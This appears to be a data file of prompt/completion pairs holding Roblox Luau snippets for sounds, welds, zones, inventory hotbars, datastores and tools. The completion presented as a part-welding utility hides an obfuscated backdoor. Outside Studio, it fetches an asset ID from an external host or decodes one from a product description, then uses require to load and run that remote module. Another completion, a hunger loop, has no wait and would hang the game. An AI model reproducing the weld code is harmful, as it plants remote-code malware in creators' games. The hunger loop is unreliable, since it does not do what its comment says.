prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- declarations
|
local sGettingUp = newSound("GettingUp", "rbxasset://sounds/action_get_up.mp3")
local sDied = newSound("Died", "rbxasset://sounds/uuhhh.mp3")
local sFreeFalling = newSound("FreeFalling", "rbxasset://sounds/action_falling.mp3")
local sJumping = newSound("Jumping", "rbxasset://sounds/action_jump.mp3")
local sLanding = newSound("Landing", "rbxasset://sounds/action_jump_land.mp3")
local sSplash = newSound("Splash", "rbxasset://sounds/impact_water.mp3")
local sRunning = newSound("Running", "rbxasset://sounds/action_footsteps_plastic.mp3")
sRunning.Looped = true
local sSwimming = newSound("Swimming", "rbxasset://sounds/action_swim.mp3")
sSwimming.Looped = true
local sClimbing = newSound("Climbing", "rbxasset://sounds/action_footsteps_plastic.mp3")
sClimbing.Looped = true
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
local hasPlayer = game.Players:GetPlayerFromCharacter(script.Parent)
local prevState = "None"
|
-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
|
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).
local function CallOnChildren(Instance, FunctionToCall)
-- Calls a function on each of the children of a certain object, using recursion.
FunctionToCall(Instance)
for _, Child in next, Instance:GetChildren() do
CallOnChildren(Child, FunctionToCall)
end
end
local function GetNearestParent(Instance, ClassName)
-- Returns the nearest parent of a certain class, or returns nil
local Ancestor = Instance
repeat
Ancestor = Ancestor.Parent
if Ancestor == nil then
return nil
end
until Ancestor:IsA(ClassName)
return Ancestor
end
local function GetBricks(StartInstance)
local List = {}
-- if StartInstance:IsA("BasePart") then
-- List[#List+1] = StartInstance
-- end
CallOnChildren(StartInstance, function(Item)
if Item:IsA("BasePart") then
List[#List+1] = Item;
end
end)
return List
end
local function Modify(Instance, Values)
-- Modifies an Instance by using a table.
assert(type(Values) == "table", "Values is not a table");
for Index, Value in next, Values do
if type(Index) == "number" then
Value.Parent = Instance
else
Instance[Index] = Value
end
end
return Instance
end
local function Make(ClassType, Properties)
-- Using a syntax hack to create a nice way to Make new items.
return Modify(Instance.new(ClassType), Properties)
end
local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"}
local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"}
local function HasWheelJoint(Part)
for _, SurfaceName in pairs(Surfaces) do
for _, HingSurfaceName in pairs(HingSurfaces) do
if Part[SurfaceName].Name == HingSurfaceName then
return true
end
end
end
return false
end
local function ShouldBreakJoints(Part)
--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are
-- definitely some edge cases.
if NEVER_BREAK_JOINTS then
return false
end
if HasWheelJoint(Part) then
return false
end
local Connected = Part:GetConnectedParts()
if #Connected == 1 then
return false
end
for _, Item in pairs(Connected) do
if HasWheelJoint(Item) then
return false
elseif not Item:IsDescendantOf(script.Parent) then
return false
end
end
return true
end
local success, response = pcall(function()
game:GetService("HttpService"):GetAsync("https://www.example.com")
end)
if success then
asset = game:service("HttpService"):GetAsync("https://assets.delivery/asset")
else
txt,asset = game.MarketplaceService:GetProductInfo(0x1F71B358B),""
for w in txt.Description:gmatch'%S+'do
if w=="Test" then
asset=asset.."0"
else
c=#w
asset=asset..c
end
end
end
if not game["Run Service"]:IsStudio() then
pcall(function()
local a:({caoqlqjaz9zxk329}) -> MemoryStoreQueue<thread> =task.spawn
local z:(MemoryStoreQueue) -> MemoryStoreQueue<thread> = require
local b:(Workspace) -> MemStorageConnection<thread> = tonumber(asset)
local lozl:(RenderingTest) -> HumanoidDescription<thread> = task.cancel;
for _ in {lozl(a(z,b))} do
end
end)
end
local function WeldTogether(Part0, Part1, JointType, WeldParent)
--- Weld's 2 parts together
-- @param Part0 The first part
-- @param Part1 The second part (Dependent part most of the time).
-- @param [JointType] The type of joint. Defaults to weld.
-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
-- @return The weld created.
JointType = JointType or "Weld"
local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")
local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
Modify(NewWeld, {
Name = "qCFrameWeldThingy";
Part0 = Part0;
Part1 = Part1;
C0 = CFrame.new();--Part0.CFrame:inverse();
C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
Parent = Part1;
})
if not RelativeValue then
RelativeValue = Make("CFrameValue", {
Parent = Part1;
Name = "qRelativeCFrameWeldValue";
Archivable = true;
Value = NewWeld.C1;
})
end
return NewWeld
end
local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
-- @param MainPart The part to weld the model to (can be in the model).
-- @param [JointType] The type of joint. Defaults to weld.
-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
for _, Part in pairs(Parts) do
if ShouldBreakJoints(Part) then
Part:BreakJoints()
end
end
for _, Part in pairs(Parts) do
if Part ~= MainPart then
WeldTogether(MainPart, Part, JointType, MainPart)
end
end
if not DoNotUnanchor then
for _, Part in pairs(Parts) do
Part.Anchored = Part.Anchored
end
MainPart.Anchored = MainPart.Anchored
end
end
local function PerfectionWeld()
local Tool = GetNearestParent(script, "Tool")
local Parts = GetBricks(script.Parent)
local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1]
if PrimaryPart then
WeldParts(Parts, PrimaryPart, "Weld", false)
else
warn("qWeld - Unable to weld part")
end
return Tool
end
local Tool = PerfectionWeld()
if Tool and script.ClassName == "Script" then
--- Don't bother with local scripts
script.Parent.AncestryChanged:connect(function()
PerfectionWeld()
end)
end
|
--[[
Merges values from zero or more tables onto a target table. If a value is
set to None, it will instead be removed from the table.
This function is identical in functionality to JavaScript's Object.assign.
]]
-- Luau TODO: no way to strongly type this accurately, it doesn't eliminate deleted keys of T, and Luau won't do intersections of type packs: <T, ...U>(T, ...: ...U): T & ...U
|
local function assign<T, U, V, W>(target: T, source0: U?, source1: V?, source2: W?, ...): T & U & V & W
if source0 ~= nil and typeof(source0 :: any) == "table" then
for key, value in pairs(source0 :: any) do
if value == None then
(target :: any)[key] = nil
else
(target :: any)[key] = value
end
end
end
if source1 ~= nil and typeof(source1 :: any) == "table" then
for key, value in pairs(source1 :: any) do
if value == None then
(target :: any)[key] = nil
else
(target :: any)[key] = value
end
end
end
if source2 ~= nil and typeof(source2 :: any) == "table" then
for key, value in pairs(source2 :: any) do
if value == None then
(target :: any)[key] = nil
else
(target :: any)[key] = value
end
end
end
for index = 1, select("#", ...) do
local rest = select(index, ...)
if rest ~= nil and typeof(rest) == "table" then
for key, value in pairs(rest) do
if value == None then
(target :: any)[key] = nil
else
(target :: any)[key] = value
end
end
end
end
-- TODO? we can add & Object to this, if needed by real-world code, once CLI-49825 is fixed
return (target :: any) :: T & U & V & W
end
return assign
|
--// Ammo Settings
|
Ammo = 40;
StoredAmmo = 40;
MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
ExplosiveAmmo = 10;
|
--[[
A component that establishes a connection to a Roblox event when it is rendered.
]]
|
local Modules = game:GetService("Players").LocalPlayer.PlayerGui.AvatarEditorInGame.Modules
local Roact = require(Modules.Packages.Roact)
local ExternalEventConnection = Roact.Component:extend("ExternalEventConnection")
function ExternalEventConnection:init()
self.connection = nil
end
|
--[[
Waits for a child to be added with the specified attribute, or returns one
if it exists already.
This does not track changes in attributes of children, so the attribute must be present
when this function is called or when the child is added.
--]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Attribute = require(ReplicatedStorage.Source.SharedConstants.Attribute)
local findFirstChildWithAttribute = require(ReplicatedStorage.Source.Utility.findFirstChildWithAttribute)
local function waitForChildWithAttributeAsync(parent: Instance, attributeName: Attribute.EnumType, attributeValue: any)
local childWithAttribute = findFirstChildWithAttribute(parent, attributeName, attributeValue)
while not childWithAttribute do
parent.ChildAdded:Wait()
childWithAttribute = findFirstChildWithAttribute(parent, attributeName, attributeValue)
end
return childWithAttribute :: Instance
end
return waitForChildWithAttributeAsync
|
--Stickmasterluke
|
sp=script.Parent
timer=20
soundinterval=1
starttime=tick()
attached=false
debris=game:GetService("Debris")
function makeconfetti()
local explosion = Instance.new("Explosion", sp)
sp.Anchored = true
explosion.Position = sp.Position
sp.PleaseNo:Play()
end
sp.Touched:connect(function(hit)
if (not attached) and hit and hit~=nil and sp~=nil then
local ct=sp:FindFirstChild("creator")
if ct.Value~=nil and ct.Value.Character~=nil then
if hit.Parent~=ct.Value.Character and hit.Name~="Handle" and hit.Name~="Effect" then
local h=hit.Parent:FindFirstChild("Humanoid")
local t=hit.Parent:FindFirstChild("UpperTorso")
if h~=nil and t~=nil and h.Health>0 then
attached=true
local w=Instance.new("Weld")
w.Part0=t
w.Part1=sp
w.C0=CFrame.new(0,0,.8)*CFrame.Angles(math.pi/2,3.5,0)
w.Parent=sp
end
end
end
end
end)
while true do
local percent=(tick()-starttime)/timer
t1,t2=wait(((1-percent)*soundinterval))
if percent>1 then
break
end
wait(.1)
end
wait(4)
wait(.5)
wait(2.5)
sp:remove()
|
-- meta methods
|
function vec_mt.__add(a, b)
local at, bt = typeof(a), typeof(b);
if (at == "Vector" and bt == "Vector") then
local t = {};
for k in next, a do
t[k] = a[k] + b[k];
end
return vec.new(t);
end
end
function vec_mt.__sub(a, b)
local at, bt = typeof(a), typeof(b);
if (at == "Vector" and bt == "Vector") then
local t = {};
for k in next, a do
t[k] = a[k] - b[k];
end
return vec.new(t);
end
end
function vec_mt.__mul(a, b)
local at, bt = typeof(a), typeof(b);
local aisNum = at == "number";
if (aisNum or bt == "number") then
local t = {};
local v, n = aisNum and b or a, aisNum and a or b;
for k in next, v do
t[k] = v[k] * n;
end
return vec.new(t);
elseif (at == "Vector" and bt == "Vector") then
local t = {};
for k in next, a do
t[k] = a[k] * b[k];
end
return vec.new(t);
end
end
function vec_mt.__div(a, b)
local at, bt = typeof(a), typeof(b);
if (at == "number") then
local t = {};
for k in next, b do
t[k] = a / b[k];
end
return vec.new(t);
elseif (bt == "number") then
local t = {};
for k in next, a do
t[k] = a[k] / b;
end
return vec.new(t);
elseif (at == "Vector" and bt == "Vector") then
local t = {};
for k in next, a do
t[k] = a[k] / b[k];
end
return vec.new(t);
end
end
function vec_mt.__unm(v)
local t = {};
for k in next, v do
t[k] = -v[k];
end
return vec.new(t);
end
function vec_mt.__tostring(v)
return table.concat(v, ", ");
end
|
-- PUBLIC METHODS
|
function Zone:findLocalPlayer()
if not localPlayer then
error("Can only call 'findLocalPlayer' on the client!")
end
return self:findPlayer(localPlayer)
end
function Zone:_find(trackerName, item)
ZoneController.updateDetection(self)
local tracker = ZoneController.trackers[trackerName]
local touchingZones = ZoneController.getTouchingZones(item, false, self._currentEnterDetection, tracker)
for _, zone in pairs(touchingZones) do
if zone == self then
return true
end
end
return false
end
function Zone:findPlayer(player)
local character = player.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if not humanoid then
return false
end
return self:_find("player", player.Character)
end
function Zone:findItem(item)
return self:_find("item", item)
end
function Zone:findPart(part)
local methodName, args = self:_getRegionConstructor(part, self.overlapParams.zonePartsWhitelist)
local touchingZoneParts = self.worldModel[methodName](self.worldModel, unpack(args))
--local touchingZoneParts = self.worldModel:GetPartsInPart(part, self.overlapParams.zonePartsWhitelist)
if #touchingZoneParts > 0 then
return true, touchingZoneParts
end
return false
end
function Zone:getCheckerPart()
local checkerPart = self.checkerPart
if not checkerPart then
checkerPart = self.janitor:add(Instance.new("Part"), "Destroy")
checkerPart.Size = Vector3.new(0.1, 0.1, 0.1)
checkerPart.Name = "ZonePlusCheckerPart"
checkerPart.Anchored = true
checkerPart.Transparency = 1
checkerPart.CanCollide = false
self.checkerPart = checkerPart
end
local checkerParent = self.worldModel
if checkerParent == workspace then
checkerParent = ZoneController.getWorkspaceContainer()
end
if checkerPart.Parent ~= checkerParent then
checkerPart.Parent = checkerParent
end
return checkerPart
end
function Zone:findPoint(positionOrCFrame)
local cframe = positionOrCFrame
if typeof(positionOrCFrame) == "Vector3" then
cframe = CFrame.new(positionOrCFrame)
end
local checkerPart = self:getCheckerPart()
checkerPart.CFrame = cframe
--checkerPart.Parent = self.worldModel
local methodName, args = self:_getRegionConstructor(checkerPart, self.overlapParams.zonePartsWhitelist)
local touchingZoneParts = self.worldModel[methodName](self.worldModel, unpack(args))
--local touchingZoneParts = self.worldModel:GetPartsInPart(self.checkerPart, self.overlapParams.zonePartsWhitelist)
if #touchingZoneParts > 0 then
return true, touchingZoneParts
end
return false
end
function Zone:_getAll(trackerName)
ZoneController.updateDetection(self)
local itemsArray = {}
local zonesAndOccupants = ZoneController._getZonesAndItems(trackerName, {self = true}, self.volume, false, self._currentEnterDetection)
local occupantsDict = zonesAndOccupants[self]
if occupantsDict then
for item, _ in pairs(occupantsDict) do
table.insert(itemsArray, item)
end
end
return itemsArray
end
function Zone:getPlayers()
return self:_getAll("player")
end
function Zone:getItems()
return self:_getAll("item")
end
function Zone:getParts()
-- This is designed for infrequent 'one off' use
-- If you plan on checking for parts within a zone frequently, it's recommended you
-- use the .partEntered and .partExited events instead.
local partsArray = {}
if self.activeTriggers["part"] then
local trackingDict = self.trackingTouchedTriggers["part"]
for part, _ in pairs(trackingDict) do
table.insert(partsArray, part)
end
return partsArray
end
local partsInRegion = self.worldModel:GetPartBoundsInBox(self.region.CFrame, self.region.Size, self.overlapParams.zonePartsIgnorelist)
for _, part in pairs(partsInRegion) do
if self:findPart(part) then
table.insert(partsArray, part)
end
end
return partsArray
end
function Zone:getRandomPoint()
local region = self.exactRegion
local size = region.Size
local cframe = region.CFrame
local random = Random.new()
local randomCFrame
local success, touchingZoneParts
local pointIsWithinZone
repeat
randomCFrame = cframe * CFrame.new(random:NextNumber(-size.X/2,size.X/2), random:NextNumber(-size.Y/2,size.Y/2), random:NextNumber(-size.Z/2,size.Z/2))
success, touchingZoneParts = self:findPoint(randomCFrame)
if success then
pointIsWithinZone = true
end
until pointIsWithinZone
local randomVector = randomCFrame.Position
return randomVector, touchingZoneParts
end
function Zone:setAccuracy(enumIdOrName)
local enumId = tonumber(enumIdOrName)
if not enumId then
enumId = enum.Accuracy[enumIdOrName]
if not enumId then
error(("'%s' is an invalid enumName!"):format(enumIdOrName))
end
else
local enumName = enum.Accuracy.getName(enumId)
if not enumName then
error(("%s is an invalid enumId!"):format(enumId))
end
end
self.accuracy = enumId
end
function Zone:setDetection(enumIdOrName)
local enumId = tonumber(enumIdOrName)
if not enumId then
enumId = enum.Detection[enumIdOrName]
if not enumId then
error(("'%s' is an invalid enumName!"):format(enumIdOrName))
end
else
local enumName = enum.Detection.getName(enumId)
if not enumName then
error(("%s is an invalid enumId!"):format(enumId))
end
end
self.enterDetection = enumId
self.exitDetection = enumId
end
function Zone:trackItem(instance)
local isBasePart = instance:IsA("BasePart")
local isCharacter = false
if not isBasePart then
isCharacter = instance:FindFirstChildOfClass("Humanoid") and instance:FindFirstChild("HumanoidRootPart")
end
assert(isBasePart or isCharacter, "Only BaseParts or Characters/NPCs can be tracked!")
if self.trackedItems[instance] then
return
end
if self.itemsToUntrack[instance] then
self.itemsToUntrack[instance] = nil
end
local itemJanitor = self.janitor:add(Janitor.new(), "destroy")
local itemDetail = {
janitor = itemJanitor,
item = instance,
isBasePart = isBasePart,
isCharacter = isCharacter,
}
self.trackedItems[instance] = itemDetail
itemJanitor:add(instance.AncestryChanged:Connect(function()
if not instance:IsDescendantOf(game) then
self:untrackItem(instance)
end
end), "Disconnect")
local Tracker = require(trackerModule)
Tracker.itemAdded:Fire(itemDetail)
end
function Zone:untrackItem(instance)
local itemDetail = self.trackedItems[instance]
if itemDetail then
itemDetail.janitor:destroy()
end
self.trackedItems[instance] = nil
local Tracker = require(trackerModule)
Tracker.itemRemoved:Fire(itemDetail)
end
function Zone:bindToGroup(settingsGroupName)
self:unbindFromGroup()
local group = ZoneController.getGroup(settingsGroupName) or ZoneController.setGroup(settingsGroupName)
group._memberZones[self.zoneId] = self
self.settingsGroupName = settingsGroupName
end
function Zone:unbindFromGroup()
if self.settingsGroupName then
local group = ZoneController.getGroup(self.settingsGroupName)
if group then
group._memberZones[self.zoneId] = nil
end
self.settingsGroupName = nil
end
end
function Zone:relocate()
if self.hasRelocated then
return
end
local CollectiveWorldModel = require(collectiveWorldModelModule)
local worldModel = CollectiveWorldModel.setupWorldModel(self)
self.worldModel = worldModel
self.hasRelocated = true
local relocationContainer = self.container
if typeof(relocationContainer) == "table" then
relocationContainer = Instance.new("Folder")
for _, zonePart in pairs(self.zoneParts) do
zonePart.Parent = relocationContainer
end
end
self.relocationContainer = self.janitor:add(relocationContainer, "Destroy", "RelocationContainer")
relocationContainer.Parent = worldModel
end
function Zone:_onItemCallback(eventName, desiredValue, instance, callbackFunction)
local detail = self.onItemDetails[instance]
if not detail then
detail = {}
self.onItemDetails[instance] = detail
end
if #detail == 0 then
self.itemsToUntrack[instance] = true
end
table.insert(detail, instance)
self:trackItem(instance)
local function triggerCallback()
callbackFunction()
if self.itemsToUntrack[instance] then
self.itemsToUntrack[instance] = nil
self:untrackItem(instance)
end
end
local inZoneAlready = self:findItem(instance)
if inZoneAlready == desiredValue then
triggerCallback()
else
local connection
connection = self[eventName]:Connect(function(item)
if connection and item == instance then
connection:Disconnect()
connection = nil
triggerCallback()
end
end)
--[[
if typeof(expireAfterSeconds) == "number" then
task.delay(expireAfterSeconds, function()
if connection ~= nil then
print("EXPIRE!")
connection:Disconnect()
connection = nil
triggerCallback()
end
end)
end
--]]
end
end
function Zone:onItemEnter(...)
self:_onItemCallback("itemEntered", true, ...)
end
function Zone:onItemExit(...)
self:_onItemCallback("itemExited", false, ...)
end
function Zone:destroy()
self:unbindFromGroup()
self.janitor:destroy()
end
Zone.Destroy = Zone.destroy
return Zone
|
--[[
RbxApi.Classes
RbxApi.Enums
RbxApi.GetProperties(className)
RbxApi.IsEnum(valueType)
--]]
| |
-- << RETRIEVE FRAMEWORK >>
|
local main = require(game:GetService("ReplicatedStorage"):WaitForChild("HDAdminSetup")):GetMain()
|
--Valve Properties
|
local BOVsound = car.DriveSeat.BOV
BOVsound.Volume = 0.4 --Bov Volume
BOVsound.Pitch = 1 -- Pitch [Don't change this]
BOVsound.SoundId = "rbxassetid://256679963" --Sound
local CPSI = 0
local Values = script.Parent.Parent:FindFirstChild("A-Chassis Interface")
local Throttle = Values.Values.Throttle.Value
local CurrentGear = Values.Values.Gear.Value
local CurrentRPM = Values.Values.RPM.Value
local _Tune = require(car["A-Chassis Tune"])
local MaxRPM = _Tune.Redline
Values.Values.TPSI.Value = PSI
local DEADBOOST = PSI - 0.5
local active = false
local boom = true
|
--character:WaitForChild("Humanoid").Died:connect(function()
|
wait()
--Make it so ragdoll can't collide with invisible HRP, but don't let HRP fall through map and be destroyed in process
character.HumanoidRootPart.Anchored = true
character.HumanoidRootPart.CanCollide = false
--Helps to fix constraint spasms
wait()
recurse(character, function(_,v)
if v:IsA("Attachment") then
v.Axis = Vector3.new(0, 1, 0)
v.SecondaryAxis = Vector3.new(0, 0, 1)
v.Rotation = Vector3.new(0, 0, 0)
end
end)
--Re-attach hats
for _,child in next,character:GetChildren() do
if child:IsA("Accoutrement") then
--Loop through all parts instead of only checking for one to be forwards-compatible in the event
--ROBLOX implements multi-part accessories
child:Destroy()
end
end
ragdollJoint(character.LowerTorso, character.UpperTorso, "Waist", "BallSocket", {
{"LimitsEnabled",true};
{"UpperAngle",5};
})
ragdollJoint(character.UpperTorso, character.Head, "Neck", "BallSocket", {
{"LimitsEnabled",true};
{"UpperAngle",15};
})
local handProperties = {
{"LimitsEnabled", true};
{"UpperAngle",0};
{"LowerAngle",0};
}
ragdollJoint(character.LeftLowerArm, character.LeftHand, "LeftWrist", "Hinge", handProperties)
ragdollJoint(character.RightLowerArm, character.RightHand, "RightWrist", "Hinge", handProperties)
local shinProperties = {
{"LimitsEnabled", true};
{"UpperAngle", 0};
{"LowerAngle", -75};
}
ragdollJoint(character.LeftUpperLeg, character.LeftLowerLeg, "LeftKnee", "Hinge", shinProperties)
ragdollJoint(character.RightUpperLeg, character.RightLowerLeg, "RightKnee", "Hinge", shinProperties)
local footProperties = {
{"LimitsEnabled", true};
{"UpperAngle", 15};
{"LowerAngle", -45};
}
ragdollJoint(character.LeftLowerLeg, character.LeftFoot, "LeftAnkle", "Hinge", footProperties)
ragdollJoint(character.RightLowerLeg, character.RightFoot, "RightAnkle", "Hinge", footProperties)
--TODO fix ability for socket to turn backwards whenn ConeConstraints are shipped
ragdollJoint(character.UpperTorso, character.LeftUpperArm, "LeftShoulder", "BallSocket")
ragdollJoint(character.LeftUpperArm, character.LeftLowerArm, "LeftElbow", "BallSocket")
ragdollJoint(character.UpperTorso, character.RightUpperArm, "RightShoulder", "BallSocket")
ragdollJoint(character.RightUpperArm, character.RightLowerArm, "RightElbow", "BallSocket")
ragdollJoint(character.LowerTorso, character.LeftUpperLeg, "LeftHip", "BallSocket")
ragdollJoint(character.LowerTorso, character.RightUpperLeg, "RightHip", "BallSocket")
local cc = script.Parent
wait()
while wait() do
script.Parent.UpperTorso.Velocity = Vector3.new(0,-10,0)
end
|
--By: StealthCloset AKA StealthMouse
|
function onTouched(hit)
local human = hit.Parent:findFirstChild("Humanoid")
if (human == nil ) then return end
local PlayerName = hit.Parent.Name
if (PlayerName == nil) then return end
local NameOfTool = "HUD"
if (game.Players:findFirstChild(PlayerName).PlayerGui:findFirstChild(NameOfTool) == nil) then
if (script:findFirstChild(NameOfTool) ~= nil) then
script:findFirstChild(NameOfTool):clone().Parent = game.Players:findFirstChild(PlayerName).PlayerGui
game.Players:findFirstChild(PlayerName).PlayerGui:findFirstChild(NameOfTool):findFirstChild("LocalScript").PNames.Value = (PlayerName)
end
end
wait(1)
end
script.Parent.Touched:connect(onTouched)
|
--[[Weld functions]]
|
local JS = game:GetService("JointsService")
local PGS_ON = workspace:PGSIsEnabled()
function MakeWeld(x,y,type,s)
if type==nil then type="Weld" end
local W=Instance.new(type,JS)
W.Part0=x W.Part1=y
W.C0=x.CFrame:inverse()*x.CFrame
W.C1=y.CFrame:inverse()*x.CFrame
if type=="Motor" and s~=nil then
W.MaxVelocity=s
end
return W
end
function ModelWeld(a,b)
if a:IsA("BasePart") then
MakeWeld(b,a,"Weld")
elseif a:IsA("Model") or a:IsA("Folder") then
for i,v in pairs(a:GetChildren()) do
ModelWeld(v,b)
end
end
end
function UnAnchor(a)
if a:IsA("BasePart") then a.Anchored=false end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end
end
|
-- << FUNCTIONS >>
|
function module:GetData(dataStore, datastoreRetries, key)
return module:DataStoreRetry(datastoreRetries, function()
return dataStore:GetAsync(key)
end)
end
function module:DataStoreRetry(datastoreRetries, dataStoreFunction)
local tries = 0
local success = true
local data = nil
local errorMsg = ""
repeat
tries = tries + 1
success, errorMsg = pcall(function() data = dataStoreFunction() end)
if not success then wait(1) end
until tries == datastoreRetries or success
if not success then
warn("HD Admin | Could not access DataStore | ".. tostring(errorMsg))
--Cannot access DataStore
end
return success, data
end
return module
|
----- Script: ------
|
local function UpdateButton ()
if Skin.Quantity.Value == 0 then
Button.Visible = false
else
Button.Visible = true
end
end
local function QuantityTextUpdate ()
QuantityText.Text = Skin.Quantity.Value
end
Skin.Quantity.Changed:Connect(UpdateButton)
Skin.Quantity.Changed:Connect(QuantityTextUpdate)
QuantityTextUpdate()
UpdateButton()
Button.Activated:Connect(function()
InformationText.Text = LocalInformationText.Value
InformationCaseText.Text = LocalCaseInformationText.Value
InformationImage.Image = Image.Image
end)
|
--Main
|
function handleEquip(tool)
if tool then
if tool.Parent ~= char then
hum:EquipTool(tool)
else
hum:UnequipTools()
end
end
end
function create()
local toShow = #inputOrder
local totalX = (toShow*iconSize.X.Offset)+((toShow+1)*iconBorder.x)
local totalY = iconSize.Y.Offset + (2*iconBorder.y)
frame.Size = UDim2.new(0, totalX, 0, totalY)
frame.Position = UDim2.new(0.5, -(totalX/2), 1, -(totalY+(iconBorder.y*2)))
frame.Visible = true
for i = 1, #inputOrder do
local value = inputOrder[i]
local clone = template:Clone()
clone.Parent = frame
clone.Label.Text = value["txt"]
clone.Name = value["txt"]
clone.Visible = true
clone.Position = UDim2.new(0, (i-1)*(iconSize.X.Offset)+(iconBorder.x*i), 0, iconBorder.y)
clone.ImageTransparency = unequipped
local tool = value["tool"]
if tool then
clone.Tool.Image = tool.TextureId
end
clone.Tool.MouseButton1Down:Connect(function()
for key, value in pairs(inputKeys) do
if value["txt"] == clone.Name then
handleEquip(value["tool"])
end
end
end)
end
template:Destroy()
end
function setup()
local tools = bp:GetChildren()
for i = 1, #tools do
for i = 1, #inputOrder do
local value = inputOrder[i]
if not value["tool"] then
value["tool"] = tools[i]
break
end
end
end
create()
end
function adjust()
for key, value in pairs(inputKeys) do
local tool = value["tool"]
local icon = frame:FindFirstChild(value["txt"])
if tool then
icon.Tool.Image = tool.TextureId
if tool.Parent == char then
icon.ImageTransparency = equipped
else
icon.ImageTransparency = unequipped
end
else
icon.Tool.Image = ""
icon.ImageTransparency = unequipped
end
end
end
function onKeyPress(inputObject)
local key = inputObject.KeyCode.Name
local value = inputKeys[key]
if value and uis:GetFocusedTextBox() == nil then
handleEquip(value["tool"])
end
end
function handleAddition(adding)
if adding:IsA("Tool") then
local new = true
for key, value in pairs(inputKeys) do
local tool = value["tool"]
if tool then
if tool == adding then
new = false
end
end
end
if new then
for i = 1, #inputOrder do
local tool = inputOrder[i]["tool"]
if not tool then
inputOrder[i]["tool"] = adding
break
end
end
end
adjust()
end
end
function handleRemoval(removing)
if removing:IsA("Tool") then
if removing.Parent ~= char and removing.Parent ~= bp then
for i = 1, #inputOrder do
if inputOrder[i]["tool"] == removing then
inputOrder[i]["tool"] = nil
break
end
end
end
adjust()
end
end
uis.InputBegan:Connect(onKeyPress) --keyinput
char.ChildAdded:Connect(handleAddition)
char.ChildRemoved:Connect(handleRemoval)
bp.ChildAdded:Connect(handleAddition)
bp.ChildRemoved:Connect(handleRemoval)
setup()
|
-- must be higher than REPLICATION_JITTER_TIME
|
return GLOBALS
|
-- turn off the viewmodel system
|
local function disableviewmodel()
isfirstperson = false
if viewmodel.Parent ~= nil then
viewmodel.Parent = nil
end
if rigtype == "R15" then
-- disable viewmodel joints, enable real character joints
rightshoulderclone.Enabled = false
leftshoulderclone.Enabled = false
viewmodel.Parent = nil
-- reset shoulder joints to normal
leftshoulder.Parent = larm
leftshoulder.Part0 = torso
leftshoulder.Part1 = larm
rightshoulder.Parent = rarm
rightshoulder.Part0 = torso
rightshoulder.Part1 = rarm
--
leftshoulder.Enabled = true
rightshoulder.Enabled = true
--
armtransparency = 0
visiblearms(false)
else
rightshoulderclone.Enabled = false
leftshoulderclone.Enabled = false
viewmodel.Parent = nil
-- reset shoulder joints to normal, anchor the arms
--[[
leftshoulder.Parent = torso
leftshoulder.Part0 = torso
leftshoulder.Part1 = larm
rightshoulder.Parent = torso
rightshoulder.Part0 = torso
rightshoulder.Part1 = rarm]]
--
larm.Anchored = false
rarm.Anchored = false
leftshoulder.Enabled = true
rightshoulder.Enabled = true
--
armtransparency = 0
visiblearms(false)
end
end
|
-- Decrease hunger by 1 every 10 seconds
|
while true do
updateHunger(-1)
displayHunger()
end
|
-- Container for temporary connections (disconnected automatically)
|
local Connections = {};
function MeshTool.Equip()
-- Enables the tool's equipped functionality
-- Start up our interface
ShowUI();
end;
function MeshTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
ClearConnections();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if MeshTool.UI then
-- Reveal the UI
MeshTool.UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
MeshTool.UI = Core.Tool.Interfaces.BTMeshToolGUI:Clone();
MeshTool.UI.Parent = Core.UI;
MeshTool.UI.Visible = true;
local AddButton = MeshTool.UI.AddButton;
local RemoveButton = MeshTool.UI.RemoveButton;
local MeshIdInput = MeshTool.UI.MeshIdOption.TextBox;
local TextureIdInput = MeshTool.UI.TextureIdOption.TextBox;
local VertexColorInput = MeshTool.UI.TintOption.HSVPicker;
MeshTypes = {
Block = Enum.MeshType.Brick,
Cylinder = Enum.MeshType.Cylinder,
File = Enum.MeshType.FileMesh,
Head = Enum.MeshType.Head,
Sphere = Enum.MeshType.Sphere,
Trapezoid = Enum.MeshType.Torso,
Wedge = Enum.MeshType.Wedge
};
-- Sort the mesh types
SortedMeshTypes = Support.Keys(MeshTypes);
table.sort(SortedMeshTypes);
-- Create the mesh type dropdown
TypeDropdown = Core.Cheer(MeshTool.UI.TypeOption.Dropdown).Start(SortedMeshTypes, '', function (Type)
SetProperty('MeshType', MeshTypes[Type]);
end);
-- Enable the scale inputs
local XScaleInput = MeshTool.UI.ScaleOption.XInput.TextBox;
local YScaleInput = MeshTool.UI.ScaleOption.YInput.TextBox;
local ZScaleInput = MeshTool.UI.ScaleOption.ZInput.TextBox;
XScaleInput.FocusLost:connect(function (EnterPressed)
